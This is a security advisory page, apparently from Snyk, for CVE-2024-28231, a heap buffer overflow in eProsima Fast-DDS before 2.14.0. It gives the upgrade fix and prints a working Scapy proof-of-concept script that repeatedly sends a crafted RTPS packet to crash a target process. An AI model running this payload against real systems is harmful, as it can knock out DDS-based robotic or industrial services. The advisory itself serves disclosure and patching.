Heap-based Buffer Overflow Affecting eProsima/Fast-DDS package, versions [,2.14.0)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-EPROSIMAFASTDDS-6475587
  • published21 Mar 2024
  • disclosed20 Mar 2024
  • creditDes glaneurs

Introduced: 20 Mar 2024

CVE-2024-28231  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade eProsima/Fast-DDS to version 2.14.0 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in MessageReceiver.cpp, due to the handling of the payload_size in a DATA Submessage packet. An attacker can crash the process by passing in a negative number.

PoC

from scapy.all import *

hex_value = ""
hex_value += "525450530202010f010f8427420b609600000000"
hex_value += "1505300000002d00000014040000140300000000"
hex_value += "0fffffff00010000373331363837333033373138"
hex_value += "303331353839333736000100ffffffffffffffff"

abc = bytes.fromhex(hex_value)

while(1):  
   
   packet = Ether(src="00:0c:29:2e:25:3d", dst="00:0c:29:c8:40:03") / \
      IP(src="192.168.114.140",dst="192.168.114.141") / \
      UDP(sport=46605, dport=7411) / abc

   sendp(packet, iface="ens33")

References

CVSS Scores

version 3.1